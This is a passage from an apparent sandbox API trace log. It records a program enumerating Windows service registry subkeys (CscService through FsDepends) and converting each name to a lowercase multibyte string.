lpUsedDefaultChar=0x0 | out: lpMultiByteStr="csc", lpUsedDefaultChar=0x0) returned 3 [0223.587] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0223.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cscservice", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0223.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cscservice", cchWideChar=10, lpMultiByteStr=0x21f16e8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cscservice", lpUsedDefaultChar=0x0) returned 10 [0223.587] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0223.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dclocator", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0223.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dclocator", cchWideChar=9, lpMultiByteStr=0x21f1a48, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dclocator", lpUsedDefaultChar=0x0) returned 9 [0223.587] RegEnumKeyW (in: hKey=0x148, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0223.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dcomlaunch", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0223.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dcomlaunch", cchWideChar=10, lpMultiByteStr=0x21f16e8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dcomlaunch", lpUsedDefaultChar=0x0) returned 10 [0223.587] RegEnumKeyW (in: hKey=0x148, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0223.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="defragsvc", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0223.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="defragsvc", cchWideChar=9, lpMultiByteStr=0x21f1a48, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="defragsvc", lpUsedDefaultChar=0x0) returned 9 [0223.587] RegEnumKeyW (in: hKey=0x148, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0223.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfsc", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0223.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfsc", cchWideChar=4, lpMultiByteStr=0x21f16e8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfsc", lpUsedDefaultChar=0x0) returned 4 [0223.588] RegEnumKeyW (in: hKey=0x148, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0223.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dhcp", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0223.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dhcp", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dhcp", lpUsedDefaultChar=0x0) returned 4 [0223.588] RegEnumKeyW (in: hKey=0x148, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0223.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagtrack", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0223.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagtrack", cchWideChar=9, lpMultiByteStr=0x21f16e8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="diagtrack", lpUsedDefaultChar=0x0) returned 9 [0223.588] RegEnumKeyW (in: hKey=0x148, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0223.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="discache", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="discache", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="discache", lpUsedDefaultChar=0x0) returned 8 [0223.588] RegEnumKeyW (in: hKey=0x148, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0223.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="disk", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0223.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="disk", cchWideChar=4, lpMultiByteStr=0x21f16e8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="disk", lpUsedDefaultChar=0x0) returned 4 [0223.588] RegEnumKeyW (in: hKey=0x148, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0223.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dmvsc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0223.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dmvsc", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dmvsc", lpUsedDefaultChar=0x0) returned 5 [0223.588] RegEnumKeyW (in: hKey=0x148, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0223.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dnscache", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dnscache", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dnscache", lpUsedDefaultChar=0x0) returned 8 [0223.589] RegEnumKeyW (in: hKey=0x148, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0223.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dot3svc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dot3svc", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dot3svc", lpUsedDefaultChar=0x0) returned 7 [0223.589] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0223.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dps", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0223.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dps", cchWideChar=3, lpMultiByteStr=0x21f16e8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dps", lpUsedDefaultChar=0x0) returned 3 [0223.589] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0223.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drmkaud", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drmkaud", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drmkaud", lpUsedDefaultChar=0x0) returned 7 [0223.589] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0223.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxgkrnl", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxgkrnl", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dxgkrnl", lpUsedDefaultChar=0x0) returned 7 [0223.589] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0223.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="e1g60", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0223.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="e1g60", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="e1g60", lpUsedDefaultChar=0x0) returned 5 [0223.589] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0223.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eaphost", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eaphost", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eaphost", lpUsedDefaultChar=0x0) returned 7 [0223.590] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0223.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ebdrv", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0223.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ebdrv", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ebdrv", lpUsedDefaultChar=0x0) returned 5 [0223.590] RegEnumKeyW (in: hKey=0x148, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0223.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="efs", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0223.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="efs", cchWideChar=3, lpMultiByteStr=0x21f16e8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="efs", lpUsedDefaultChar=0x0) returned 3 [0223.590] RegEnumKeyW (in: hKey=0x148, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0223.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehrecvr", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehrecvr", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ehrecvr", lpUsedDefaultChar=0x0) returned 7 [0223.590] RegEnumKeyW (in: hKey=0x148, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0223.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehsched", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehsched", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ehsched", lpUsedDefaultChar=0x0) returned 7 [0223.590] RegEnumKeyW (in: hKey=0x148, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0223.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="elxstor", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="elxstor", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="elxstor", lpUsedDefaultChar=0x0) returned 7 [0223.590] RegEnumKeyW (in: hKey=0x148, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0223.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="errdev", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="errdev", cchWideChar=6, lpMultiByteStr=0x21f16e8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="errdev", lpUsedDefaultChar=0x0) returned 6 [0223.591] RegEnumKeyW (in: hKey=0x148, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0223.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="esent", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0223.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="esent", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="esent", lpUsedDefaultChar=0x0) returned 5 [0223.591] RegEnumKeyW (in: hKey=0x148, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0223.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventlog", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventlog", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventlog", lpUsedDefaultChar=0x0) returned 8 [0223.591] RegEnumKeyW (in: hKey=0x148, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0223.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0223.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x21f1a48, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventsystem", lpUsedDefaultChar=0x0) returned 11 [0223.591] RegEnumKeyW (in: hKey=0x148, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0223.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exfat", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0223.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exfat", cchWideChar=5, lpMultiByteStr=0x21f16e8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exfat", lpUsedDefaultChar=0x0) returned 5 [0223.592] RegEnumKeyW (in: hKey=0x148, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0223.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fastfat", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fastfat", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fastfat", lpUsedDefaultChar=0x0) returned 7 [0223.592] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0223.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0223.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x21f16e8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fax", lpUsedDefaultChar=0x0) returned 3 [0223.592] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0223.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0223.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdc", cchWideChar=3, lpMultiByteStr=0x21f1a48, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fdc", lpUsedDefaultChar=0x0) returned 3 [0223.592] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0223.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdphost", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdphost", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fdphost", lpUsedDefaultChar=0x0) returned 7 [0223.592] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0223.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdrespub", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdrespub", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fdrespub", lpUsedDefaultChar=0x0) returned 8 [0223.592] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0223.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fileinfo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fileinfo", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fileinfo", lpUsedDefaultChar=0x0) returned 8 [0223.593] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0223.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="filetrace", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0223.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="filetrace", cchWideChar=9, lpMultiByteStr=0x21f1a48, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="filetrace", lpUsedDefaultChar=0x0) returned 9 [0223.593] RegEnumKeyW (in: hKey=0x148, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0223.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flpydisk", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flpydisk", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flpydisk", lpUsedDefaultChar=0x0) returned 8 [0223.593] RegEnumKeyW (in: hKey=0x148, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0223.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fltmgr", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fltmgr", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fltmgr", lpUsedDefaultChar=0x0) returned 6 [0223.593] RegEnumKeyW (in: hKey=0x148, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0223.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0223.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache", cchWideChar=9, lpMultiByteStr=0x21f16e8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fontcache", lpUsedDefaultChar=0x0) returned 9 [0223.593] RegEnumKeyW (in: hKey=0x148, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0223.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache3.0.0.0", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0223.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache3.0.0.0", cchWideChar=16, lpMultiByteStr=0x21f1a48, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fontcache3.0.0.0", lpUsedDefaultChar=0x0) returned 16 [0223.593] RegEnumKeyW (in: hKey=0x148, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0223.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fsdepends", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0223.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fsdepends", cchWideChar=9, lpMultiByteStr=0x21f16e8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 